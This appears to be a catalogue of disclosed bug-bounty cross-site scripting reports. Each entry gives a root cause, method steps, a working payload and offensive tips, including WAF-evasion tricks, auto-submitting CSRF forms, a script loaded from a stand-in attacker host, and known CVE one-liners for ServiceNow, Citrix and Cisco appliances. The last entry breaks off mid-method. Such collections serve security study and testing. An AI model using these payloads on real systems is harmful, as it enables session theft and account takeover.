ServiceNow (through San Diego Patch 4b/6) reflects the logout_redirect.do sysparm_url parameter into the page unsanitized; a backslash/scheme-obfuscated javascript: URL bypasses the redirect validation and executes.
Method
- Fingerprint host as ServiceNow
- Hit logout_redirect.do with a crafted sysparm_url
- Use //j\\javascript: obfuscation to bypass the URL filter
/logout_redirect.do?sysparm_url=//j%5c%5cjavascript%3aalert(document.domain)
Insight — Fingerprint known products (ServiceNow, Citrix, Oracle) and pull their disclosed CVE XSS one-liners; logout/redirect endpoints are common reflected sinks. Backslash obfuscation (j\\javascript:) defeats naive scheme checks.
Real-world example
Client-side template injection ({{7*7}}) escalated to XSS with blacklist bypass
◆ Medium
Specimen #1736317 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface webChain CSTI -> arbitrary client-side JS -> potential CORS abu
Root cause
A search parameter is embedded into a client-side template engine that evaluates {{...}} expressions; {{7*7}} returns 49, and expressions can call JS, giving XSS. A method blacklist (alert) is bypassed via bracket-notation property access and base64 decoding.
Method
- Send {{7*7}} in the reflected param; if it renders 49 you have CSTI
- Escalate to JS execution inside the braces
- When keywords like alert are blocked, call them via window['eval'](window['atob'](...)) with a base64 payload
?Search={{window['eval'](window['atob'](window['decodeURIComponent']('BASE64_JS')))}}
Insight — Always probe reflected params with {{7*7}}/${7*7} for template injection before assuming plain XSS. Defeat method blacklists with window['eval']/window['atob'] bracket access so no forbidden identifier appears literally.
Real-world example
Citrix Gateway CRLF-to-XSS in OIDC logout (CVE-2023-24488)
◆ Medium
Specimen #2045549 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface webTag oauthTag crlf
Root cause
Citrix ADC/Gateway reflects the post_logout_redirect_uri of /oauth/idp/logout without stripping CRLF; injected %0d%0a lets a <script> tag be reflected into the response body.
Method
- Fingerprint Citrix Gateway / ADC
- Request /oauth/idp/logout with post_logout_redirect_uri
- Prefix the script with CRLF (%0d%0a%0d%0a) to break out into HTML
/oauth/idp/logout?post_logout_redirect_uri=%0d%0a%0d%0a<script>alert(document.domain)</script>
Insight — OIDC/SAML logout endpoints with *_redirect_uri params are frequent reflected-XSS/CRLF sinks; test CRLF injection there. Fingerprint the appliance and reuse its published CVE.
Real-world example
Akamai WAF bypass: reflected XSS with optional chaining, string concat and comments
◆ Medium
Specimen #2750728 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface web
Root cause
A POST parameter is reflected into HTML; Akamai blocks common XSS tokens, so the payload avoids literal 'alert', spaces and dots using an anchor with AutoFocus/OnFocus, JS comments /**/, optional chaining ?., string concatenation and bracket access.
Method
- Break out with '"> and inject <A ... AutoFocus OnFocus=...>
- Replace forbidden identifiers: 'ale'+'rt' instead of alert, top?.[...] via optional chaining
- Insert /**/ where the WAF expects whitespace
- Deliver the POST parameter via an auto-submitting form (see 3127147)
'"><A HRef=\" AutoFocus OnFocus=top/**/?.['ale'%2B'rt'](document%2Bcookie)>
Insight — Against signature WAFs, decompose the function name (concat/bracket), use ?. optional chaining, /**/ for spaces and %2B for +, and autofocus for zero-click. Same evasion set works on Cloudflare/Imperva.
Real-world example
Delivering POST-only reflected XSS via an auto-submitting CSRF form
◆ Medium
Specimen #3127147 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface webChain CSRF-style auto-submit -> POST reflected XSSTag webhook
Root cause
Reflected XSS exists in parameters reachable only via POST (nested-array names like data[account][id], fields[account][firstname/lastname], return_link_url); it is delivered by hosting an auto-submitting HTML form that POSTs the payload, then history.pushState hides the URL.
Method
- Find reflected XSS in a POST parameter (won't trigger from a GET link)
- Build an HTML page with a <form method=POST> carrying all required fields plus the payload field
- Auto-submit with document.forms[0].submit() and call history.pushState to mask the action URL
<form action="TARGET" method="POST">\n <input type=hidden name="data[account][id]" value="<img src=x onerror=prompt(1)>">\n ...other required fields...\n</form>\n<script>history.pushState('','','/');document.forms[0].submit();</script>
Insight — POST-context reflected XSS is fully exploitable: wrap it in a Burp-generated CSRF PoC that auto-submits. Enumerate nested-array param names (data[account][*], fields[*][*]) and fuzz each; the same form path usually reflects several of them.
Real-world example
ASP.NET ResolveUrl XSS with print`` backtick WAF bypass
◆ Medium
Specimen #3166587 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface web
Root cause
ASP.NET apps that pass user-controlled paths to Control.ResolveUrl reflect app-root-relative input unsanitized; the WAF blocks alert()/parentheses, bypassed by using an event handler that calls a function with the ES6 tagged-template backtick syntax (print``).
Method
- Identify an ASP.NET path reflected via ResolveUrl (app-relative URL in output)
- Inject an attribute + event handler (onload/onerror)
- Invoke the function with backticks instead of parens: print`` (also alert`1`)
- For a form/textarea context, break out with </textarea><img/src/onerror=print``>
(Z('ontestingb3t2h onload=print`` fnwve='zzzzz`8504695818`'))/accounts/accessDenied.aspx || </textarea><input></zzz><zzz><img/src/onerror=print``></zzz>
Insight — When ( ) or alert are filtered, call handlers with tagged-template backticks: onerror=print``, onerror=alert`1`. ResolveUrl / ResolveClientUrl are recurring ASP.NET reflected-XSS sinks. Add </textarea> when reflected inside a textarea.
Real-world example
Reflected XSS via unescaped utm_ tracking parameter breaking out of <script>
◆ Medium
Specimen #125112 · uber · awarded · 6 votes · resolved
Program uberSurface web
Root cause
Marketing/tracking parameters (utm_campaign) are reflected into an inline <script> without escaping; closing </script> and opening a new script tag executes attacker JS.
Method
- Put a canary in each utm_* / tracking param
- Find one reflected inside an inline <script>
- Break out with %27</script><script>PAYLOAD</script>
?utm_campaign=tttttt%27%3C/script%3E%3Cscript%3Ealert(0)%3C/script%3E&utm_medium=top&utm_source=website
Insight — Analytics/tracking params (utm_source, utm_campaign, gclid) are routinely reflected into inline scripts for tag managers and are an under-tested XSS surface. Always fuzz them, including inside <script> context via </script> breakout.
Real-world example
Second-order/supply-chain stored XSS via package metadata on a PyPI mirror
◆ Medium
Specimen #126906 · uber · awarded · 6 votes · resolved
Program uberSurface webChain Malicious PyPI package -> mirror sync -> stored XSS onTag supply-chain
Root cause
A PyPI mirror (archive.uber.com) renders a package's setup.py home_page/download_url values into an <a href> without validating the scheme; a javascript: URI in the package metadata becomes a clickable XSS on the mirror's simple index.
Method
- Publish a package whose setup.py sets home_page/download_url to a javascript: URI
- Wait for the target's mirror sync to ingest it
- Victim browses the mirror's package page and clicks the injected home_page link
setup(name='IgnoreMe_mime', home_page='Javascript: alert(0)', download_url='Javascript: alert(0)', ...) -> rendered as <a href=Javascript:alert(0)>
Insight — Data ingested from third-party feeds (package indexes, mirrors, imports) is attacker-controlled. Look for XSS in any system that renders external metadata (package names/URLs, RSS, imported profiles). javascript: in URL fields survives if only http/https is assumed.
Real-world example
Stored XSS in mapbox.js shareControl via untrusted map title (CVE-2017-1000043)
◆ Medium
Specimen #99245 · mapbox · awarded · 6 votes · resolved
Program mapboxSurface web
Root cause
The map title (from user data / untrusted TileJSON) is inserted unescaped into the mapbox.js share-control modal; opening the share control renders the title as HTML and executes the payload.
Method
- Name a classic-editor map with an XSS polyglot as the title
- Victim opens the map's share page (or an attacker site loading the malicious TileJSON)
- Victim clicks the share control -> title renders -> XSS
<img src=a >"><iframe onload=alert('XSS')> (team's minimized repro; original was a multi-context polyglot)
Insight — Client-side JS libraries that render titles/labels from data (map titles, TileJSON, chart labels) are stored-XSS sinks; any app loading untrusted TileJSON inherits it. Use a multi-context polyglot to cover attribute/tag/comment contexts at once.
Real-world example
Reflected XSS that only fires pre-session (no session cookie) on a signup flow
◆ Medium
Specimen #42393 · uber · awarded · 6 votes · resolved
Program uberSurface web
Root cause
The signup page reflects the 'location' GET parameter unescaped, but only when the page has not been visited before in the session (no partners.uber.com cookie); a returning session takes a different render path that escapes it.
Method
- Open the target signup URL in a fresh session (no prior cookie)
- Reflect the location param unencoded into HTML
- Deliver the link to a victim with no existing session on the host
/signup/global/?place_id=...&location=Carolina<script>alert(1)</script>a&lat=..&lng=..
Insight — XSS can be state-dependent - test reflected params in a clean/incognito session and again with an established session; a 'not reproducible' report may just need the first-visit path. Signup/onboarding pages are prime reflected sinks.
Real-world example
Stored XSS via product description executing inside an embeddable widget
◆ Medium
Specimen #185826 · shopify · awarded · 6 votes · resolved
Program shopifySurface web
Root cause
Product descriptions are not sanitized when rendered by the Buy Button embed widget; the stored payload executes wherever the widget is embedded, including third-party merchant sites.
Method
- Create a product with an HTML/JS payload in the description
- Add the product to the Buy Button channel and generate an embed
- Load the embed (template variant that renders the description); XSS fires in the embedding page
<img src="a" onerror="prompt(document.cookie)" />
Insight — Fields that look internal (product description, bio, notes) can be re-rendered by embeddable/widget or email templates that run in a DIFFERENT origin. Trace every place stored content is displayed, especially embeds and exported snippets.
Real-world example
WordPress plugin stored XSS: unescaped value attribute (missing esc_attr)
◆ Medium
Specimen #145086 · iandunn-projects · none · 6 votes · resolved
Program iandunn-projectsSurface webChain Low-priv/unauthenticated ticket submitter -> stored XSS i
Root cause
SupportFlow echoes the ticket subject into the value="" of an admin input without esc_attr(); an attribute-breakout payload stored by any user executes when staff open the ticket (and a sibling sink renders the same data in the tickets admin table).
Method
- Create a ticket with a '"> attribute-breakout subject
- Wait for staff to view the ticket / tickets table in wp-admin
- Payload executes in the admin session
"><script>alert('hi');</script> (requires run_wptexturize disabled: add_filter('run_wptexturize','__return_false'))
Insight — In WordPress code review, grep for values echoed into HTML/attributes without esc_html()/esc_attr()/esc_url() - core does NOT auto-escape. Attribute (value=) sinks need esc_attr specifically. wptexturize can incidentally mangle payloads, so note when it's off.
Real-world example
Persistent XSS via user-chosen class/group name
◆ Medium
Specimen #6412 · khanacademy · awarded · 6 votes · resolved
Program khanacademySurface web
Root cause
A class name is stored and re-rendered unescaped in a coach/reports view, allowing a </script> + tag breakout payload to persist and execute for anyone viewing the class.
Method
- Create a class/group with an XSS payload as its name
- Open the coach/reports grid that lists the class name
- Stored payload executes
</script>"><img src=x onerror=alert(0)>
Insight — Entity-name fields (class, team, project, workspace names) are classic stored-XSS sinks because they surface in many admin/report views. Include a </script> prefix so the payload also works if reflected inside a JSON/JS blob.
Real-world example
Stored XSS via javascript: link in Textile/lightweight markup
◆ Medium
Specimen #205498 · gitlab · none · 5 votes · resolved
Program gitlabSurface web
Root cause
GitLab's Textile (and reStructuredText, RubyDoc) markup renderers allow a link target with a javascript: scheme; a README in one of these formats produces an anchor whose href executes script when clicked - a parser that sanitizes Markdown but not the other supported formats.
Method
- Create a project README with a .textile (or .rst/RubyDoc) extension
- Use the markup's link syntax with a javascript: target
- Commit and click the rendered link -> stored XSS
"Security test link":javascript:alert(document.domain)
Insight — When an app supports multiple markup formats, the less-common ones (Textile, reST, AsciiDoc, RubyDoc) are often sanitized weakly - test javascript:/data: link targets in each format, not just Markdown.
Real-world example
Stored XSS via unsanitized filenames in directory-listing servers
◆ Medium
Specimen #316346 · nodejs-ecosystem · none · 5 votes · resolved
Program nodejs-ecosystemSurface webTag file-upload
Root cause
Static-file/directory-index servers build the HTML listing by concatenating raw filenames (and path segments) into <a>/<li>/<title> without HTML-encoding, so a file or directory whose NAME contains markup executes when the auto-generated index is viewed.
Method
- In a directory served by the tool, create a file/dir whose name is an HTML/JS payload
- Browse the auto-generated directory index; the filename is emitted into the page unescaped and fires
# filenames become the payload (server echoes them into the index HTML):
touch '"><svg onload=alert(3);'
touch '"><iframe src=malware_frame.html>'
mkdir '"><svg onload=alert(5);>' # html-pages: also reflected in <title> and breadcrumb
Insight — Any feature that lists user-supplied names (file uploads, S3/FTP browsers, directory indexes, archive contents) is a stored-XSS sink if names are not HTML-encoded. Vulnerable code pattern: list.push('<li><a href="'+path.join(base,file)+'">'+file+'</a></li>'). Test by uploading/creating a file named "><svg onload=alert(1)>.
Real-world example
React text component renders user input as raw HTML (autolinker) -> XSS
◆ Medium
Specimen #592525 · nodejs-ecosystem · none · 5 votes · resolved
Program nodejs-ecosystemSurface web
Root cause
react-autolinker-wrapper takes a text prop and injects it as HTML (dangerouslySetInnerHTML-style) after autolinking, without sanitizing, so raw tags in the text execute instead of being displayed.
Method
- Pass attacker-controlled text into the AutolinkerWrapper text prop
- Include an HTML tag with an event handler; it is rendered as HTML and fires
<img src=x onerror=alert() >
Insight — Third-party React 'text formatter' components (autolink, markdown, emoji, mentions) commonly use dangerouslySetInnerHTML. Any such component fed user text is an XSS sink unless it sanitizes. Audit component internals for dangerouslySetInnerHTML and test the display prop with <img src=x onerror=alert(1)>.
Real-world example
Stored XSS via rich-text editor 'Source' (HTML) mode bypassing sanitization
◆ Medium
Specimen #616770 · concretecms · none · 5 votes · resolved
Program concretecmsSurface web
Root cause
When the Conversations editor is set to Rich Text, using the editor's 'Source' button saves the raw HTML (including <script>) verbatim to the database, and it is rendered unsanitized to every visitor and to admins in the Messages screen. A second sink: the Express-entity Name field stores/echoes markup unescaped.
Method
- Ensure Active Conversation Editor = Rich Text (System & Settings -> Conversations)
- On a comment-enabled page, click the editor's 'Source' button, paste a <script> payload, and post the comment
- Payload executes for anonymous/logged-in visitors AND for admins viewing Conversations -> Messages
- Variant sink: create an Express entity with Name = </h1><script>alert(1)</script><h1> and view the object
<script src="https://attacker.tld/poc.js"></script>
// Express entity Name field variant:
</h1><script>alert(1)</script><h1>
Insight — Rich-text/WYSIWYG editors frequently sanitize the visual mode but pass 'Source'/HTML mode content straight through. Always toggle Source view and inject raw <script>/<svg> there. Admin-facing rendering (moderation, message review) makes these stored XSS a path to admin compromise. CVE-2021-40100.
Real-world example
Reflected/DOM XSS via URL fragment sink in CMS dashboard, WAF bypassed with case+junk-attr tag
◆ Medium
Specimen #859342 · deptofdefense · none · 5 votes · resolved
Program deptofdefenseSurface web
Root cause
CommonSpot dashboard reads URL fragment parameters (#url=, #mode=) into the page client-side without encoding (DOM-based), and a server/WAF blocking <script> is bypassed by altering tag casing plus an extra attribute (<ScRipT X>...).
Method
- Locate a client-side sink reading location.hash params (dashboard/index.html#url=, #mode=)
- Inject a script/HTML payload in the fragment; because it is after #, it is not sent to the server (evades server WAF)
- Vary case and add a dummy attribute to defeat naive <script> filters
.../commonspot/dashboard/index.html#url=a;<ScRipT X>alert('XSS')</ScRipT X>
.../commonspot/dashboard/index.html#mode=<ScRipT x>alert('XSS')</ScRipT x>;&url=a
Insight — Fragment (#...) is invisible to server-side WAFs and logs; DOM sinks that read location.hash are a reliable bypass surface. Combine with tag-case mutation and an extra attribute (<ScRipT X>) to slip past regex filters. Fingerprint the CMS/version (CommonSpot 9.0) for known DOM sinks.
Real-world example
CVE-2020-3580: reflected XSS in Cisco ASA/FTD WebVPN via SAMLResponse POST
◆ Medium
Specimen #1245048 · deptofdefense · none · 5 votes · resolved
Program deptofdefenseSurface webTag saml
Root cause
Cisco ASA/FTD WebVPN (AnyConnect/WebVPN SAML SP ACS endpoint /+CSCOE+/saml/sp/acs) reflects the SAMLResponse POST parameter without encoding, allowing reflected XSS delivered via an auto-submitting cross-site form.
Method
- Fingerprint a Cisco ASA/FTD WebVPN portal (path /+CSCOE+/, AnyConnect/WebVPN)
- Host an HTML page with an auto-submitting POST form to /+CSCOE+/saml/sp/acs?tgname=a
- Put the HTML-entity-encoded payload in the SAMLResponse field; on submit it reflects and executes
<form action="https://TARGET/+CSCOE+/saml/sp/acs?tgname=a" method="POST">
<input type=hidden name=SAMLResponse value=""><svg/onload=alert('XSS')>">
</form>
<script>document.forms[0].submit()</script>
Insight — Appliance CVEs are easy wins on large scopes: recognize product/version fingerprints (Cisco ASA /+CSCOE+/, WebVPN) and fire known n-day XSS. POST-only reflected XSS still exploits via a self-submitting cross-origin form (CSRF-delivered XSS). Sweep asset inventories for the fingerprint rather than fuzzing per-host.
Real-world example
CVE-2022-38463: ServiceNow logout_redirect.do reflected XSS via javascript: URL with backslash trick
◆ Medium
Specimen #1699855 · deptofdefense · none · 5 votes · resolved
Program deptofdefenseSurface web
Root cause
ServiceNow (pre San Diego SP6) logout_redirect.do uses the sysparm_url parameter as a redirect/navigation target without properly blocking javascript: URLs; a backslash-obfuscated scheme (//j\\javascript:alert(...)) bypasses the filter and executes on click by an unauthenticated user.
Method
- Fingerprint a ServiceNow instance (pre San Diego SP6)
- Craft logout_redirect.do?sysparm_url=//j\\javascript:alert(document.domain)
- Victim clicks the link; the javascript: URL is navigated and executes
https://TARGET/logout_redirect.do?sysparm_url=//j%5c%5cjavascript%3aalert(document.domain)
Insight — Redirect/return-URL parameters that block javascript: often miss obfuscated schemes (backslashes //j\\javascript:, whitespace, mixed case, control chars). On ServiceNow specifically, sysparm_url/logout_redirect.do is a known n-day (CVE-2022-38463). Fingerprint SaaS/platform versions and fire known open-redirect-to-XSS gadgets.
Real-world example
Reflected XSS with newline/whitespace split between event-handler name and '='
◆ Medium
Specimen #1882751 · deptofdefense · none · 5 votes · resolved
Program deptofdefenseSurface web
Root cause
A GET parameter (militarybranch) is reflected into an HTML/attribute context; a filter matching contiguous event handlers is bypassed by inserting newlines (%0A/%0D) and whitespace around the handler and '=' (on\nmouseover\n=\nalert(...)), which browsers still parse as an event handler.
Method
- Find the reflected parameter (militarybranch on a public registration page)
- Break the filter by splitting the handler with encoded CR/LF/whitespace
- Close the tag/attribute with a trailing // to comment out the rest
militarybranch=X%3CHTMl%0Aonmouseover%0A=%0Aalert('XSSSuccess!')%0Dx//
// decoded: X<HTMl\nonmouseover\n=\nalert('XSSSuccess!')\rx//
Insight — When an event-handler regex expects 'on...=' with no gaps, insert HTML whitespace (space, tab %09, newline %0A, carriage return %0D, form feed %0C) between the handler name, the '=', and the value - browsers tolerate it, naive filters do not. Also try an uncommon tag name (<HTMl>) plus a trailing // to swallow the remainder.
Real-world example
CVE-2023-23913: rails-ujs DOM XSS via clipboard paste into contenteditable
◆ Medium
Specimen #2125679 · ibb · awarded · 5 votes · resolved
Program ibbSurface web
Root cause
rails-ujs (>=5.1.0) processes pasted HTML in contenteditable elements and acts on data-method/data-remote/data-disable-with attributes; malicious clipboard HTML carrying those attributes leads to arbitrary JavaScript execution on the origin.
Method
- Target an app using rails-ujs with a contenteditable element (comment/editor field)
- Get the victim to paste attacker-crafted HTML clipboard content containing data-method/data-remote/data-disable-with attributes
- rails-ujs processes the pasted markup and executes JS on the origin
<!-- malicious clipboard HTML pasted into a contenteditable element -->
<a data-method="post" data-remote="true" data-disable-with="<img src=x onerror=alert(document.domain)>">x</a>
Insight — contenteditable + framework helpers that trust HTML attributes are an under-tested DOM-XSS surface. Any library that scans DOM for data-* directives (rails-ujs, htmx, some Stimulus/hotwire flows) can be triggered by pasted/injected markup. Check for contenteditable regions and whether framework unobtrusive-JS runs against user-inserted nodes. Fixed in rails-ujs 6.1.7.3 / 7.0.4.3.
Real-world example
Reflected XSS via double URL-encoding and self-nested parameter (browser-specific exec)
◆ Medium
Specimen #53098 · x · USD 1400 · 4 votes · resolved
Program xSurface web
Root cause
The unsafe_link_warning page reflects the unsafe_link parameter; single decoding leaves a payload inert, but nesting the URL back into itself and double-URL-encoding (%2520 = encoded space) causes a second decode to produce live attribute-injection (style + onmouseover) that executes in IE.
Method
- Reflect the unsafe_link value; observe one decoding pass is applied
- Nest the page URL as its own unsafe_link value and double-encode the payload so a second decode yields the active handler
- In IE, click 'continue' then mouseover the link to trigger onmouseover (huge font-size makes hover trivial); Chrome/FF block via CSP
https://twitter.com/safety/unsafe_link_warning?unsafe_link=https%3A%2F%2Ftwitter.com%2Fsafety%2Funsafe_link_warning%3Funsafe_link%3Dhttp%3A%2F%2Fexample.com%2520onmouseover%3Dalert%281%29%2520style=font-size:100pt%2520
Insight — When one layer of decoding sanitizes the payload, add a layer: double-URL-encode (%2520) and/or route the value through a parameter that gets decoded twice (self-nesting). Also remember XSS can be browser-specific and CSP-gated - a payload blocked by CSP in Chrome/FF may still fire in a browser/context without CSP. Enlarge the element (font-size:100pt) to make mouseover-based handlers trivially triggerable.
Real-world example
Reflected XSS via tag/attribute breakout in params and URL path
◆ Medium
Specimen #734433 · clario · awarded · 4 votes · resolved
Program clarioSurface web
Root cause
Request input reflected unescaped in an HTML context - including a URL PATH segment, not just query params - allows tag breakout ("><img onerror>) or event-handler attribute injection (" onclick=).
Method
- Inject a canary into params AND path segments and observe where it reflects
- Break out of the HTML/attribute context
- For attribute-only reflection, add an event handler and the interaction it needs (click/focus)
URL path: /adgroup/affiliatefix hello"><img src=a onerror=alert(document.domain)>hello/type/affiliate
--- attribute-context variant (#6344 Khan) ---
search=" onclick="alert(1) (fires on clicking the input)
--- classic script-tag variant (#2497 Slack, IE) ---
...?77d50"><script>alert(9)</script>
Insight — Reflection is not limited to query strings: test URL path segments and check for attribute-context reflection where you inject an event handler instead of a tag. Confirm in View Source; some contexts need a specific browser or a user event.
Real-world example
Stored XSS via profile display/full-name; IE ignores CSP
◆ Medium
Specimen #148897 · nextcloud · none · 4 votes · resolved
Program nextcloudSurface webChain Low-priv stored XSS -> executes in admin session -> poTag account-takeover
Root cause
A user-controlled profile name (full name / display name / call-room name) is stored and rendered unescaped in admin- and peer-facing views. Where a CSP would block execution, legacy Internet Explorer does not enforce CSP, so the stored payload still fires.
Method
- As a low-privilege attacker, set the full name / display name to an HTML-breaking payload
- Wait for an admin/other user to view the attacker in a panel that renders the name (contact info, chat, call room, user list)
- Payload executes in the viewer's context; in CSP-protected apps, open the victim view in Internet Explorer to bypass CSP
elamaran'>"><script>alert(document.domain)</script>
"x><img src=a onerror=alert(1)>
p<script>alert('xss')</script>
Insight — Profile name fields are a high-yield stored-XSS sink because they render in many privileged views; when a modern browser blocks execution via CSP, retest in IE11 which does not support CSP - a persistent 'CSP present but not universally enforced' bypass.
Real-world example
Reflected Flash XSS in WordPress flashmediaelement.swf
◆ Medium
Specimen #200351 · eternal · none · 4 votes · resolved
Program eternalSurface web
Root cause
The bundled MediaElement.js flashmediaelement.swf performs insecure URL/parameter sanitization, allowing a crafted jsinitfunction/FlashVars value to invoke arbitrary JavaScript in the hosting page's origin.
Method
- Look for /wp-includes/js/mediaelement/flashmediaelement.swf on WordPress targets
- Supply a crafted jsinitfunction (obfuscated with % to defeat naive filters) that calls JS
- Load in a Flash-enabled browser to execute
https://TARGET/wp-includes/js/mediaelement/flashmediaelement.swf?%#jsinitfunctio%gn=alert%60xss%60
Insight — Enumerate known-vulnerable legacy SWFs bundled by CMS/plugins (flashmediaelement.swf, ZeroClipboard, clipboard.swf, moxieplayer) - these are reliable reflected-XSS recon tells fixed only by updating the component.
Real-world example
Stored XSS via javascript: URL in package/profile URL field
◆ Medium
Specimen #289313 · rubygems · none · 4 votes · resolved
Program rubygemsSurface webChain Malicious package metadata -> stored XSS on gem/registry Tag supply-chain
Root cause
A URL field (Gemspec homepage / profile editor link) is rendered directly into an href without scheme validation, so a javascript: URL yields stored XSS when the link is clicked. In RubyGems the malicious metadata ships inside an installable gem and fires on the built-in gem server web UI.
Method
- Set a user-controlled URL field (homepage, website, editor link) to a javascript: URI
- For RubyGems: build a gem with s.homepage = 'javascript:...' , install it, run gem server
- Click the rendered [www] hyperlink to execute the payload
s.homepage = 'javascript:confirm(document.domain)'
# Weblate editor-link field variant:
javascript:confirm(document.domain)
Insight — Any field that becomes an href needs scheme allow-listing (http/https/mailto); test javascript: (and data:) URIs in every website/homepage/link/redirect field. Package metadata (Gemspec/npm) is a supply-chain XSS vector that fires on registry/self-hosted UIs.
Real-world example
DOM stored XSS via comment author name in innerHTML sink
◆ Medium
Specimen #301973 · paragonie · none · 4 votes · resolved
Program paragonieSurface webChain Anonymous stored comment -> DOM XSS in admin/user sessionTag account-takeover
Root cause
Client-side reply code (comments.js replyTo) reads the comment author name out of the DOM and re-inserts it into the page via jQuery .html() without encoding, so a stored anonymous comment name becomes DOM-based stored XSS when a user clicks Reply.
Method
- Post a comment with the author name set to an HTML-breaking payload
- Victim clicks 'Reply' on that comment
- replyTo() reads author from the DOM and injects it via $().html(), executing the payload
'"><img src=no onerror=alert(1)>
Insight — Trace client-side sinks: values that look server-escaped can still hit a DOM sink (.html()/innerHTML) that re-injects them unescaped on a user action; grep front-end JS for .html(/innerHTML with values read back out of the DOM.
Real-world example
Stored XSS from parsed spreadsheet (XLSX) cell values
◆ Medium
Specimen #356809 · nodejs-ecosystem · none · 4 votes · resolved
Program nodejs-ecosystemSurface webTag file-upload
Root cause
A document-parsing library (exceljs) returns raw cell values; apps interpolate worksheet.getCell(x).value straight into HTML, so markup stored inside an uploaded .xlsx cell executes when the sheet is rendered.
Method
- Create an XLSX with a cell containing <script>alert(`xss!`)</script>
- Upload/have the app parse and render the sheet as HTML
- Payload executes when the cell is displayed
# cell value in testsheet.xlsx
<script>alert(`xss!`)</script>
Insight — Uploaded documents (xlsx, csv, docx, svg) whose parsed content is later rendered are a second-order XSS surface. Encoding must happen at render, not parse - the library will not do it for you.
Real-world example
DOM XSS via autofocus/onfocus break-out in input value
◆ Medium
Specimen #377264 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface web
Root cause
User input reflected into a context (comment/attribute) that can be closed and followed by an auto-triggering element; autofocus fires onfocus with no user interaction.
Method
- Enter payload in the username field on troubleshoot.html?lang=en
- Reflection closes the surrounding context and injects an autofocus element
- onfocus runs immediately
--><button/autofocus/onfocus=Function("confirm`1`")();//name="XSS
Insight — autofocus + onfocus is the go-to no-click trigger when the sink is an input/attribute context; Function(`...`) and backtick calls dodge naive alert( filters.
Real-world example
Reflected XSS behind authz gate, revealed by stripping the redirect
◆ Medium
Specimen #648298 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface webChain authz bypass -> reach internal mission.php -> reflecteTag access-control
Root cause
missionDate GET param reflected unsanitized; the vulnerable page is normally protected by an access restriction/redirect, but the reflection still occurs before the 302.
Method
- Chain with an authorization-bypass to reach the internal page
- Request mission.php with svg onload in missionDate
- In Burp, intercept the response and delete the redirect to render the reflected page
/mission.php?content=crew&flight=DOC&line=Right&missionDate=19-Mar-19&ped=%3Csvg+onload=alert('jarvis7')%3E
Insight — A 302 that hides a reflected page does not mean the XSS is unexploitable - the body is often still built. Intercept and drop the redirect (or read the pre-redirect body) to confirm.
Real-world example
POST reflected XSS delivered via auto-submitting form
◆ Medium
Specimen #689257 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface webChain reflected XSS -> CSRF token theft -> account takeover Tag account-takeover
Root cause
advanced_val POST parameter reflected unsanitized; because it is POST it needs a cross-site auto-submitting form for delivery, and lack of CSRF protection makes that possible.
Method
- Build an HTML page with a form targeting the endpoint
- Set advanced_val to the XSS payload
- body onload auto-submits, executing XSS in the victim session
<form id='xss' method="post" action="https://TARGET/flight/images">
<input type='hidden' name='advanced_val' value='xss"><script>alert(document.domain)</script>'>
</form>
<script>document.getElementById('xss').submit()</script>
Insight — POST-only reflected XSS is still exploitable: wrap it in a self-submitting form. Absence of CSRF tokens on the endpoint is the enabler.
Real-world example
Reflected XSS in 404/error page via URL path segment
◆ Medium
Specimen #804364 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface web
Root cause
The path after /kinetic/ is reflected unsanitized into the 404 Not Found page, so a crafted path segment executes.
Method
- Append an encoded XSS payload as a path segment under /kinetic/
- Server returns 404 that echoes the path
- Payload executes
/kinetic/1%3C!--%3E%3CSvg%20OnLoad=(confirm)(document.domain)--%3E/
Insight — Don't only fuzz query params - error/404 pages frequently reflect the raw requested path. Test markup in path segments too.
Real-world example
Reflected XSS in Confluence social-bookmarking plugin
◆ Medium
Specimen #866829 · lab45 · none · 4 votes · resolved
Program lab45Surface web
Root cause
Confluence updatebookmark.action reflects url and redirect parameters unsanitized into the page.
Method
- Request the updatebookmark.action endpoint
- Inject breakout + img onerror in url and redirect params
- XSS fires
/wiki/plugins/socialbookmarking/updatebookmark.action?url=Asd"><img src=X onerror=alert(document.domain)>&redirect=Asd"><img src=X onerror=alert(document.cookie)>
Insight — Fingerprint the product (Atlassian Confluence) and test its known plugin endpoints; social-bookmarking updatebookmark.action url/redirect params are a recurring reflected-XSS sink.
Real-world example
Client-side XSS via URL fragment in RoboHelp help viewer
◆ Medium
Specimen #874228 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface web
Root cause
A help/documentation viewer reads the #rhsearch fragment client-side and injects it into the DOM without sanitization; marquee event handlers provide auto-firing triggers.
Method
- Load index.htm with an rhsearch fragment payload
- Client JS renders the fragment into the page
- marquee onfinish / onmouseover event fires
index.htm#rhsearch=<marquee loop=1 onfinish=alert(document.domain)>test</marquee>&ux=search
Insight — Vendor help systems (Adobe RoboHelp) reflect the search fragment client-side - a portable DOM XSS. The fragment (#) is not sent to the server, so server-side WAFs never see it.
Real-world example
Self-XSS + CSRF chained into delivered reflected XSS
◆ Medium
Specimen #1109544 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface webChain self-XSS + CSRF -> reflected XSSTag account-takeover
Root cause
A form field is vulnerable to XSS but only self-inflicted; because the submission endpoint lacks CSRF protection, an attacker auto-submits the whole form on the victim's behalf, turning self-XSS into a real attack.
Method
- Confirm the field reflects a payload (self-XSS)
- Build a full CSRF POST form with every field, payload in first_name/mail_to_first_name
- Auto-submit from attacker page in victim's session -> XSS executes
<form action="https://TARGET/" method="POST">
<input type=hidden name="first_name" value='test";</script><script>alert(document.cookie)</script>'>
... (all other required fields) ...
</form>
<script>document.forms[0].submit()</script>
Insight — Self-XSS is not automatically out-of-scope: if the submitting request has no CSRF token, wrap it in a cross-site auto-submit form to weaponize it. Reproduce the whole request, not just the vulnerable field.
Real-world example
Cisco ASA/FTD CVE-2020-3580 reflected XSS (SAML endpoint)
◆ Medium
Specimen #1606068 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface webTag saml
Root cause
Unpatched Cisco ASA/FTD WebVPN reflects the SAMLResponse POST parameter unsanitized at /+CSCOE+/saml/sp/acs?tgname=a (CVE-2020-3580).
Method
- Identify a Cisco ASA WebVPN host
